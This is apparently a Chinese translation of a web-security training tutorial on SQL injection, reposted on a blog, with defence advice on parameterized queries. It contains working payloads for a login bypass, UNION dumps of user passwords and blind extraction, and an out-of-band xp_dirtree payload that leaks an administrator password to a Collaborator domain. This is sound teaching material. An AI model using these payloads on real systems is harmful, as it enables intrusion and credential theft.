当前位置: 首页 > article >正文

【Academy】SQL 注入 ------ SQL injection

SQL 注入 ------ SQL injection

  • 1. 什么是 SQL 注入 (SQLi)?
  • 2. 成功的 SQL 注入攻击会产生什么影响?
  • 3. 如何检测 SQL 注入漏洞
    • 3.1 在查询语句的不同部分中的注入
    • 3.2 不同上下文中的 SQL 注入
  • 4. SQL 注入示例
    • 4.1 检索隐藏数据
    • 4.2 破坏应用程序逻辑
    • 4.3 从其他数据库表中检索数据
    • 4.4 探测数据库平台
    • 4.5 SQL 盲注
    • 4.6 二阶 SQL 注入
  • 5. 探测数据库平台
    • 5.1 查询数据库类型和版本
    • 5.2 列出数据库的内容
  • 6. SQL UNION 注入
    • 6.1 确定所需的列数
    • 6.2 查找具有有用数据类型的列
    • 6.3 使用 SQL UNION 查询检索相关数据
    • 6.4 在单个列中检索多个值
  • 7. SQL 盲注
    • 7.1 什么是SQL 盲注?
    • 7.2 通过触发条件响应来测试 SQL 盲注
    • 7.3 基于错误的 SQL 注入
      • 7.3.1 通过触发条件错误来测试 SQL 盲注
      • 7.3.2 通过详细的 SQL 错误消息提取敏感数据
    • 7.4 通过触发时间延迟来检测 SQL 盲注
    • 7.5 利用带外 (OAST) 技术的SQL 盲注
  • 8. 如何防御 SQL 注入


1. 什么是 SQL 注入 (SQLi)?

SQL 注入(SQLi)是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库进行的查询。这可以使攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或者应用程序可以访问的任何其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而对应用程序的内容或行为造成持久性更改。

在某些情况下,攻击者可以将 SQL 注入攻击升级,以破坏底层服务器或其他后端基础设施。这也可以使他们能够执行拒绝服务攻击。


2. 成功的 SQL 注入攻击会产生什么影响?

成功的 SQL 注入攻击可能导致对敏感数据进行未经授权的访问,例如:

  • 密码
  • 信用卡详细信息
  • 个人用户信息

多年来,SQL 注入攻击在许多备受瞩目的数据泄露事件中被使用。这些攻击造成了声誉损害和监管罚款。在某些情况下,攻击者可以获得进入组织系统的持久后门,导致长期的安全漏洞,并且可能在很长一段时间内未被察觉。


3. 如何检测 SQL 注入漏洞

你可以使用一套系统的测试方法手动检测应用程序中的每个入口点是否存在 SQL 注入。为此,通常可以提交:

  • 单引号字符 ' 并查找错误或其他异常。
  • 一些特定于 SQL 的语法,用于计算入口点的基 (原始) 值和不同的值,并查找应用程序响应中的系统性差异。
  • 布尔条件,例如 OR 1=1OR 1=2,并查找应用程序响应中的差异。
  • 在 SQL 查询中执行时用于触发时间延迟的有效载荷,并查找响应时间的差异。
  • 当在 SQL 查询中执行时,设计用于触发带外网络交互的 OAST 有效载荷,并监视任何由此产生的交互。

或者,您可以使用 Burp Scanner 快速可靠地找到大多数 SQL 注入漏洞。


3.1 在查询语句的不同部分中的注入

大多数 SQL 注入漏洞发生在 SELECT 查询的 WHERE 子句中。大多数有经验的测试人员都熟悉这种类型的 SQL 注入。

但是,SQL 注入漏洞可能发生在查询中的任何位置,也可能发生在不同的查询类型中。出现 SQL 注入的其他一些常见位置是:

  • UPDATE语句中,在更新的值内或在WHERE子句中。
  • INSERT语句中,在插入的值内。
  • SELECT语句中,在表名或列名内。
  • SELECT语句中,位于ORDER BY子句内。

3.2 不同上下文中的 SQL 注入

在一般情况下,使用查询字符串注入恶意的 SQL 有效负载。然而,你可以使用任何可控制的输入来进行 SQL 注入攻击,只要该输入被应用程序作为 SQL 查询进行处理。例如,一些网站以 JSON 或 XML 格式接收输入,并使用此输入查询数据库。

这些不同的格式可能为你提供不同的方法来混淆攻击,否则由于 WAF 和其他防御机制以上这些攻击会被阻止。防御能力脆弱的地方通常会在请求中查找常见的 SQL 注入关键字,因此你可以通过对禁止的关键字中的字符进行编码或转义来绕过这些过滤器。例如,以下基于 XML 的 SQL 注入使用 XML 转义序列对S字符进行编码,这个字符在SELECT中:

<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

这将在传递给 SQL 解释器之前在服务器端进行解码。


4. SQL 注入示例

存在许多 SQL 注入漏洞、攻击和技术,它们在不同的情况下发生。一些常见的 SQL 注入示例包括:

  • 检索隐藏数据,您可以在其中修改 SQL 查询以返回其他结果。
  • 破坏应用程序逻辑,即可以更改查询以干扰应用程序的逻辑。
  • UNION 查询攻击,您可以从不同的数据库表中检索数据。
  • SQL 盲注,即你控制的查询结果不会在应用程序的响应中返回。

4.1 检索隐藏数据

假设有一个购物应用程序,它显示不同类别的产品。当用户点击 Gifts 类别时,他们的浏览器会请求 URL:

https://insecure-website.com/products?category=Gifts

这会导致应用程序进行 SQL 查询,以从数据库中检索相关产品的详细信息:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

此 SQL 查询要求数据库返回:

  • 所有详细信息 (*
  • 来自 products
  • 其中categoryGifts
  • released1.

限制条件released = 1被用于隐藏未发布的产品。对于未发布的产品,我们可以假设released = 0

该应用程序未针对 SQL 注入攻击实施任何防御措施。这意味着攻击者可以构建以下攻击,例如:

https://insecure-website.com/products?category=Gifts'--

这将生成 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

重要的是,请注意 -- 是 SQL 中的注释指示符。这意味着查询的其余部分将解释为注释,从而有效地将其删除。在此示例中,这意味着查询不再包含 AND released = 1。因此,将显示所有产品,包括尚未发布的产品。

您可以使用类似的攻击来使应用程序显示任何类别中的所有产品,包括他们不知道的类别:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

这将生成 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

修改后的查询将返回categoryGifts1 等于 1 的所有项目。由于 1=1 始终为 true,因此查询将返回所有项目。

警告
将条件 OR 1=1 注入 SQL 查询时要小心。即使它在你注入的上下文中看起来无害,应用程序在多个不同的查询中使用来自单个请求的数据也是很常见的。例如,如果您的条件达到 UPDATEDELETE 语句,则可能会导致意外丢失数据。


4.2 破坏应用程序逻辑

假设有一个应用程序允许用户使用用户名和密码登录。如果用户提交用户名 wiener 和密码 bluecheese,则应用程序将通过执行以下 SQL 查询来检查凭证:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

如果查询返回用户的详细信息,则登录成功。否则,它将被拒绝。

在这种情况下,攻击者可以以任何用户身份登录,而无需密码。他们可以使用 SQL 注释序列来执行此作 -- 从查询的 WHERE 子句中删除密码检查。例如,提交用户名 administrator'-- 和空密码将导致以下查询:

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

此查询返回usernameadministrator的用户,并以该用户身份成功登录攻击者。


4.3 从其他数据库表中检索数据

如果应用程序使用 SQL 查询的结果进行响应,攻击者可以使用 SQL 注入漏洞从数据库中的其他表中检索数据。您可以使用 UNION 关键字执行其他 SELECT 查询,并将结果附加到原始查询中。

例如,如果应用程序执行包含用户输入 Gifts 的以下查询:

SELECT name, description FROM products WHERE category = 'Gifts'

攻击者可以提交以下输入:

' UNION SELECT username, password FROM users--

这会导致应用程序返回所有用户名和密码以及产品的名称和描述。


4.4 探测数据库平台

SQL 语言的一些核心功能在流行的数据库平台上以相同的方式实现,因此许多检测和利用 SQL 注入漏洞的方法在不同类型的数据库上同样有效。

然而,常见数据库之间也存在许多差异。这意味着一些检测和利用 SQL 注入的技术在不同平台上的工作方式不同。例如:

  • 字符串连接的语法
  • 注释
  • 批量(或堆叠)查询
  • 特定于平台的 API
  • 错误消息

确定 SQL 注入漏洞后,获取有关数据库的信息通常很有用。此信息可以帮助您利用漏洞。

您可以查询数据库的版本详细信息。不同的方法适用于不同的数据库类型。这意味着,如果找到有效的特定方法,则可以推断数据库类型。例如,在 Oracle 上,您可以执行:

SELECT * FROM v$version

你还可以确定存在哪些数据库表以及它们包含的列。例如,在大多数数据库上,你可以执行以下查询来列出表:

SELECT * FROM information_schema.tables

4.5 SQL 盲注

许多 SQL 注入实例都是盲注漏洞。这意味着应用程序在其响应中不返回 SQL 查询的结果或任何数据库错误的详细信息。盲注漏洞仍然可以被利用来访问未授权的数据,但所涉及的技术通常更加复杂且难以执行。

以下技术可用于利用盲 SQL 注入漏洞,具体取决于漏洞的性质和所涉及的数据库

  • 你可以更改查询的逻辑,以便根据单个条件的真假在应用程序的响应中触发可检测的差异。这可能涉及将新条件注入某些布尔逻辑中,或者有条件地触发错误,例如除以零错误。
  • 你可以有条件地触发查询处理中的时间延迟。这使你能够根据应用程序响应所花费的时间推断条件的真实性。
  • 您可以使用 OAST 技术触发带外网络交互。这种技术非常强大,在其他技术不起作用的情况下有效。通常,您可以通过带外通道直接泄露数据。例如,您可以将数据放入您控制的域的 DNS 查找中。

4.6 二阶 SQL 注入

一阶 SQL 注入发生在应用程序处理来自 HTTP 请求的用户输入,并以不安全的方式将输入合并到 SQL 查询中时。

二阶 SQL 注入发生在应用程序从 HTTP 请求中获取用户输入并将其存储以供将来使用时。这通常是通过将输入放入数据库来完成的,但在存储数据的点上不会出现漏洞。稍后,在处理不同的 HTTP 请求时,应用程序检索存储的数据并以不安全的方式将其合并到 SQL 查询中。因此,二阶 SQL 注入也称为存储 SQL 注入。

Second-order SQL injection

二阶 SQL 注入通常发生在这样的情况下:开发人员意识到 SQL 注入漏洞,因此安全地实施了将用户输入的内容首次放入数据库的动作。当数据在之后被处理时,它被认为是安全的,因为它之前被安全地存入了数据库。在这一个点上,数据以不安全的方式被处理,因为开发者错误地认为它是可信的。


不同上下文中的 SQL 注入
在前面的实验中,你使用查询字符串注入恶意的 SQL 有效负载。然而,你可以使用任何可控制的输入来进行 SQL 注入攻击,只要该输入被应用程序作为 SQL 查询进行处理。例如,一些网站以 JSON 或 XML 格式接收输入,并使用此输入查询数据库。

这些不同的格式可能为你提供不同的方法来混淆攻击,否则由于 WAF 和其他防御机制这些攻击会被阻止。防御能力脆弱的地方通常会在请求中查找常见的 SQL 注入关键字,因此你可以通过对禁止的关键字中的字符进行编码或转义来绕过这些过滤器。例如,以下基于 XML 的 SQL 注入使用 XML 转义序列对S字符进行编码,这个字符在SELECT中:

<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

这将在传递给 SQL 解释器之前在服务器端进行解码。


5. 探测数据库平台

要利用 SQL 注入漏洞,通常需要查找有关数据库的信息。这包括:

  • 数据库软件的类型和版本。
  • 数据库包含的表和列。

5.1 查询数据库类型和版本

您可以通过注入特定于提供程序的查询来查看数据库类型和版本是否有效

以下是一些用于确定某些常用数据库类型的数据库版本的查询:

数据库类型查询
Microsoft、MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

例如,您可以通过以下输入使用 UNION 查询:

' UNION SELECT @@version--

这可能会返回以下输出。在这种情况下,您可以确认数据库是 Microsoft SQL Server 并查看使用的版本:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

5.2 列出数据库的内容

大多数数据库类型(Oracle 除外)都有一组称为信息架构的视图。这提供了有关数据库的信息。

例如,您可以查询 information_schema.tables 以列出数据库中的表:

SELECT * FROM information_schema.tables

这将返回如下所示的输出:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

此输出指示有三个表,分别称为 ProductsUsersFeedback

然后,您可以查询 information_schema.columns 以列出各个表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

这将返回如下所示的输出:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar

此输出显示指定表中的列以及每列的数据类型。


列出 Oracle 数据库的内容
在 Oracle 上,您可以找到与以下相同的信息:

  • 您可以通过查询 all_tables 列出表:
SELECT * FROM all_tables
  • 您可以通过查询 all_tab_columns 列出列:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

6. SQL UNION 注入

当应用程序容易受到 SQL 注入的攻击,并且查询结果在应用程序的响应中返回时,您可以使用 UNION 关键字从数据库中的其他表中检索数据。这通常称为 SQL 注入 UNION 攻击。

“联合”(UNION)关键字使您能够执行一个或多个额外的“选择”(SELECT)查询,并将结果附加到原始查询中。例如:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

此 SQL 查询返回一个包含两列的结果集,其中包含 table1 中列 ab 以及 table2 中列 cd 的值。

要使 UNION 查询正常工作,必须满足两个关键要求:

  • 各个查询必须返回相同数量的列
  • 每列中的数据类型必须在各个查询之间兼容

要执行 SQL UNION 注入,请确保您的payload满足这两个要求。这通常包括找出:

  • 从原始查询返回的列数。
  • 从原始查询返回的哪些列具有适合的数据类型,以保存注入的查询的结果。

6.1 确定所需的列数

当您执行 SQL UNION 注入时,有两种有效的方法可以确定从原始查询返回多少列。

一种方法涉及注入一系列 ORDER BY 子句并递增指定的列索引,直到发生错误。例如,如果注入点是原始查询的 WHERE 子句中的带引号的字符串,则提交:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.

此系列有效载荷会修改原始查询,以便按结果集中的不同列对结果进行排序。ORDER BY子句中的列可以通过其索引指定,因此您无需知道任何列的名称。当指定的列索引超过结果集中的实际列数时,数据库会返回错误,例如:

The ORDER BY position number 3 is out of range of the number of items in the select list.

该应用程序实际上可能在其 HTTP 响应中返回数据库错误,但也可能发出通用错误响应。在其他情况下,它可能根本不返回任何结果。无论哪种方式,只要你能在响应中检测到一些差异,就可以推断出查询返回了多少列。

第二种方法涉及提交一系列 UNION SELECT 有效负载,并指定不同数量的 null 值:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

如果 null 数与列数不匹配,则数据库将返回错误,例如:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

我们使用NULL作为注入的SELECT查询返回的值,因为每列中的数据类型在原始查询和注入查询之间必须兼容。NULL可转换为每种常见数据类型,因此当列数正确时,它最大限度地提高了有效载荷成功的机会。

ORDER BY技术一样,应用程序实际上可能在其 HTTP 响应中返回数据库错误,但可能返回通用错误或根本不返回结果。当空值的数量与列的数量匹配时,数据库会在结果集中返回额外的一行,其中每列都包含空值。对 HTTP 响应的影响取决于应用程序的代码。如果幸运的话,您将在响应中看到一些额外的内容,例如 HTML 表格中的额外一行。否则,空值可能会触发不同的错误,例如NullPointerException。在最坏的情况下,响应可能看起来与因空值数量不正确而导致的响应相同。这将使此方法无效。


特定于数据库的语法
在 Oracle 上,每个 SELECT 查询都必须使用 FROM 关键字并指定一个有效的表。Oracle 上有一个名为 dual 的内置表,可用于此目的。因此,在 Oracle 上注入的查询需要如下所示:

' UNION SELECT NULL FROM DUAL--

所描述的有效载荷使用双破折号注释序列--将注入点之后原始查询的其余部分注释掉。在 MySQL 中,双破折号序列后面必须跟一个空格。或者,可以使用井号字符#来标识注释。


6.2 查找具有有用数据类型的列

SQL UNION 注入使您能够从注入的查询中检索结果。您要检索的有趣数据通常为字符串形式。这意味着您需要在原始查询结果中找到其数据类型为字符串数据或与字符串数据兼容的一列或多列。

确定所需列数后,您可以探测每个列以测试它是否可以保存字符串数据。您可以提交一系列 UNION SELECT 负载,这些负载依次将字符串值放入每列中。例如,如果查询返回四列,您将提交:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

如果 column 数据类型与字符串数据不兼容,则注入的查询会导致数据库错误,例如:

Conversion failed when converting the varchar value 'a' to data type int.

如果未发生错误,并且应用程序的响应包含一些其他内容(包括注入的字符串值),则相关列适用于检索字符串数据。


6.3 使用 SQL UNION 查询检索相关数据

当您确定了原始查询返回的列数并找到哪些列可以保存字符串数据时,您就可以检索有趣的数据了。

假设:

  • 原始查询返回两列,两列都可以保存字符串数据。
  • 注入点是 WHERE 子句中带引号的字符串。
  • 该数据库包含一个名为 users 的表,其中包含 usernamepassword 列。

在此示例中,您可以通过提交输入来检索 users 表的内容:

' UNION SELECT username, password FROM users--

为了执行此操作,您需要知道有一个名为 users 的表,其中包含名为 usernamepassword 的两列。如果没有此信息,您将不得不猜测表和列的名称。所有现代数据库都提供了检查数据库结构并确定它们包含哪些表和列的方法。


6.4 在单个列中检索多个值

在某些情况下,前面示例中的查询可能只返回单个列。

您可以通过将值连接在一起,在此单个列中一起检索多个值。您可以包含一个分隔符,以便区分组合值。例如,在 Oracle 上,您可以提交以下输入:

' UNION SELECT username || '~' || password FROM users--

这使用双管道序列 ||,它是 Oracle 上的字符串串联运算符。注入的查询将 usernamepassword 字段的值连接在一起,以 ~ 字符分隔。

查询结果包含所有用户名和密码,例如:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

不同的数据库使用不同的语法来执行字符串连接。


7. SQL 盲注

7.1 什么是SQL 盲注?

当应用程序容易受到 SQL 注入的攻击,但其 HTTP 响应不包含相关 SQL 查询的结果或任何数据库错误的详细信息时,就会发生SQL 盲注。

许多技术(如 UNION )对SQL 盲注漏洞无效。这是因为它们依赖于能够在应用程序的响应中看到注入的查询的结果。仍然可以利用SQL 盲注来访问未经授权的数据,但必须使用不同的技术。


7.2 通过触发条件响应来测试 SQL 盲注

考虑使用跟踪 Cookie 收集有关使用情况来分析的应用程序。对应用程序的请求包括如下所示的 cookie 标头:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

在处理包含 TrackingId Cookie 的请求时,应用程序使用 SQL 查询来确定此用户是否为已知用户:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

此查询容易受到 SQL 注入的攻击,但查询结果不会返回给用户。但是,应用程序的行为确实会有所不同,具体取决于查询是否返回任何数据。如果您提交已识别的 TrackingId,则查询将返回数据,并且您会在响应中收到“欢迎回来”消息。

此行为足以利用 SQL 盲注漏洞。您可以通过有条件地触发不同的响应来检索信息,具体取决于注入的条件。

要了解此漏洞的工作原理,假设发送了两个请求,依次包含以下 TrackingId Cookie 值:

…xyz' AND '1'='1
…xyz' AND '1'='2
  • 这些值中的第一个值会导致查询返回结果,因为注入的 AND '1'='1 条件为 true。因此,将显示 “Welcome back” 消息。
  • 第二个值会导致查询不返回任何结果,因为注入的条件为 false。不显示 “Welcome back” 消息。

这使我们能够确定任何单个注入条件的答案,并一次提取一个数据。

例如,假设有一个名为 Users 的表,其中包含 UsernamePassword 列,以及一个名为 Administrator 的用户。您可以通过发送一系列输入来确定此用户的密码,以便一次测试一个字符的密码。

为此,请从以下输入开始:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

这将返回 “Welcome back” 消息,指示注入的条件为 true,因此密码的第一个字符大于 m

接下来,我们发送以下输入:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

这不会返回 “Welcome back” 消息,表示注入的条件为 false,因此密码的第一个字符不大于 t

最后,我们发送以下输入,该输入返回“欢迎回来”消息,从而确认密码的第一个字符是 s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

我们可以继续此过程,以系统地确定 Administrator 用户的完整密码。

注意
SUBSTRING 函数在某些类型的数据库上称为 SUBSTR


7.3 基于错误的 SQL 注入

基于错误的 SQL 注入是指您能够使用错误消息从数据库中提取或推断敏感数据的情况,即使在盲上下文中也是如此。可能性取决于数据库的配置和能够触发的错误类型:

  • 您可以使应用程序根据布尔表达式的结果返回特定的错误响应。您可以按照我们在上一节中介绍的条件响应相同的方式利用这一点。有关更多信息,请参阅通过触发条件错误来利用盲 SQL 注入。
  • 您可以触发错误消息,以输出查询返回的数据。这有效地将原本盲 SQL 注入漏洞变成了可见的漏洞。

7.3.1 通过触发条件错误来测试 SQL 盲注

某些应用程序执行 SQL 查询,但无论查询是否返回任何数据,它们的行为都不会改变。上一节中的技术不起作用,因为注入不同的布尔条件对应用程序的响应没有影响。

通常可以诱使应用程序返回不同的响应,具体取决于是否发生 SQL 错误。您可以修改查询,以便仅当条件为 true 时才导致数据库错误。很多时候,数据库引发的未处理错误会导致应用程序的响应出现一些差异,例如错误消息。这使您能够推断注入条件的真实性。

要了解其工作原理,假设发送了两个请求,依次包含以下 TrackingId Cookie 值:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

这些输入使用 CASE 关键字来测试条件,并根据表达式是否为 true:

  • 对于第一个输入,CASE 表达式的计算结果为 'a',这不会导致任何错误。
  • 对于第二个输入,它的计算结果为1/0,这会导致除以零错误。

如果错误导致应用程序的 HTTP 响应出现差异,您可以使用它来确定注入的条件是否为 true。

使用此技术,您可以通过一次测试一个字符来检索数据:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

注意
触发条件错误的方法多种多样,不同的技术对不同的数据库类型效果最佳。


7.3.2 通过详细的 SQL 错误消息提取敏感数据

数据库配置错误有时会导致详细的错误消息。这些可以提供可能对攻击者有用的信息。例如,请考虑以下错误消息,该消息在将单个引号注入 id 参数后出现:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

这显示了应用程序使用我们的输入构建的完整查询。我们可以看到,在这种情况下,我们注入到 WHERE 语句中的单引号字符串中。这使得构建包含恶意负载的有效查询变得更加容易。注释掉查询的其余部分可以防止多余的单引号破坏语法。

有时,您可以诱使应用程序生成一条错误消息,其中包含查询返回的一些数据。这有效地将原本盲 SQL 注入漏洞变成了可见的漏洞。

您可以使用 CAST() 函数来实现此目的。它使您能够将一种数据类型转换为另一种数据类型。例如,假设有一个包含以下语句的查询:

CAST((SELECT example_column FROM example_table) AS int)

通常,您尝试读取的数据是一个字符串。尝试将其转换为不兼容的数据类型(如 int)可能会导致类似于以下内容的错误:

ERROR: invalid input syntax for type integer: "Example data"

如果字符限制阻止您触发条件响应,则这种类型的查询也可能很有用


7.4 通过触发时间延迟来检测 SQL 盲注

如果应用程序在执行 SQL 查询时捕获到数据库错误并妥善处理这些错误,则应用程序的响应不会有任何差异。这意味着之前用于诱导条件错误的技术将不起作用。

在这种情况下,通常可以通过触发时间延迟来利用 SQL 盲注漏洞,具体取决于注入的条件是 true 还是 false。由于 SQL 查询通常由应用程序同步处理,因此延迟 SQL 查询的执行也会延迟 HTTP 响应。这允许您根据接收 HTTP 响应所花费的时间来确定注入条件的真实性。

触发 Time Delay 的技术特定于所使用的数据库类型。例如,在 Microsoft SQL Server 上,您可以使用以下内容来测试条件并触发延迟,具体取决于表达式是否为 true:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
  • 这些 inputs 中的第一个不会触发 delay,因为条件 1=2 为 false。
  • 第二个输入会触发 10 秒的延迟,因为条件 1=1 为 true。

使用这种技术,我们可以通过一次测试一个字符来检索数据:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

注意
在 SQL 查询中触发时间延迟的方法多种多样,并且不同类型的数据库应用了不同的技术。


7.5 利用带外 (OAST) 技术的SQL 盲注

应用程序可以执行与上一个示例相同的 SQL 查询,但以异步方式执行。应用程序继续在原始线程中处理用户的请求,并使用另一个线程通过跟踪 Cookie 执行 SQL 查询。该查询仍然容易受到 SQL 注入的攻击,但到目前为止描述的任何技术都不起作用。应用程序的响应不依赖于返回任何数据的查询、发生的数据库错误或执行查询所花费的时间。

在这种情况下,通常可以通过触发对您控制的系统的带外网络交互来利用盲 SQL 注入漏洞。这些可以根据注入的条件触发,以一次推断一个信息。更有用的是,可以直接在网络交互中泄露数据。

为此,可以使用多种网络协议,但通常最有效的是 DNS(域名服务)。许多生产网络允许 DNS 查询的自由出口,因为它们对于生产系统的正常运行至关重要。

使用带外技术的最简单、最可靠的工具是 Burp Collaborator。这是一个提供各种网络服务(包括 DNS)的自定义实现的服务器。它允许您检测何时因将单个负载发送到易受攻击的应用程序而发生网络交互。Burp Suite Professional 包括一个内置客户端,该客户端配置为开箱即用地与 Burp Collaborator 配合使用。有关更多信息,请参阅Burp Collaborator 的文档。

触发 DNS 查询的技术特定于所使用的数据库类型。例如,Microsoft SQL Server 上的以下输入可用于在指定域上进行 DNS 查找:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

这会导致数据库对以下域执行查找:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

您可以使用 Burp Collaborator 生成唯一的子域并轮询 Collaborator 服务器以确认何时发生任何 DNS 查找。

确认了触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中检索数据。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

此输入读取Administrator用户的密码,附加唯一的协作者子域,并触发 DNS 查找。此查找允许您查看捕获的密码:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

带外 (OAST) 技术是检测和利用盲 SQL 注入的强大方法,因为它成功的可能性很高,并且能够直接在带外通道内检索数据。因此,即使在其他盲测利用技术有效的情况下,OAST 技术通常也是更可取的。

注意
触发带外交互的方法多种多样,并且不同类型的数据库应用了不同的技术。


如何防止 SQL 盲注攻击?
尽管查找和利用盲 SQL 注入漏洞所需的技术与常规 SQL 注入不同且更复杂,但防止 SQL 注入所需的措施是相同的。

与常规 SQL 注入一样,可以通过谨慎使用参数化查询来防止 SQL 盲注攻击,这可确保用户输入不会干扰预期 SQL 查询的结构。


8. 如何防御 SQL 注入

你可以使用参数化查询而不是在查询中进行字符串拼接来防止大多数 SQL 注入情况。这些参数化查询也被称为“预处理语句”。
以下代码容易受到 SQL 注入攻击,因为用户输入直接被拼接进了查询中:

String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

你可以用一种防止用户输入干扰查询结构的方式重写这段代码:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

你可以在任何不可信输入作为查询中的数据出现的情况下使用参数化查询,包括WHERE子句以及INSERTUPDATE语句中的值。它们不能用于处理查询的其他部分(如表名或列名,或者ORDER BY子句)中的不可信输入。将不可信数据放入查询这些部分的应用程序功能需要采用不同的方法,例如:

  • 将允许的输入值列入白名单。
  • 使用不同的逻辑来提供所需的行为。

要使参数化查询有效防止 SQL 注入,查询中使用的字符串必须始终是硬编码常量。它绝不能包含来自任何来源的任何变量数据。不要试图逐个判断数据项是否可信,并在认为安全的情况下继续在查询中使用字符串拼接。很容易在数据的可能来源上犯错,或者其他代码的变化会污染可信数据。


http://www.kler.cn/a/583054.html

相关文章:

  • [023-01-40].第40节:组件应用 - OpenFeign与 Sentinel 集成实现fallback服务降级
  • Flutter——Android与Flutter混合开发详细教程
  • 学习Android Audio 焦点记录
  • scoop退回软件版本的方法
  • 【AIGC】计算机视觉-YOLO系列家族
  • 【lf中的git实战】
  • Rust语言基础知识详解【九】
  • 【redis】hash基本命令和内部编码
  • 《MySQL数据库从零搭建到高效管理|库的基本操作》
  • leetcode hot100 图论
  • Hive-基础入门
  • 命令行重启Ubuntu软件
  • 使用谷歌地图google实现功能去选择定点位置,可以搜索位置。实现地图选择器组件:Vue + Google Maps API 实战
  • 如何使用Cursor的claude-3.7模型来开发高保真的原型设计图,学会写好的提示词人人都是设计师
  • Android Retrofit 请求执行模块执行原理深入源码分析(三)
  • c语言笔记 函数入门
  • 【uniapp】textarea maxlength字数计算不准确的问题
  • Go Context深度剖析
  • doris:Elasticsearch
  • 【K8s】使用Kubernetes的resources字段中的requests和limits字段控制Pod资源使用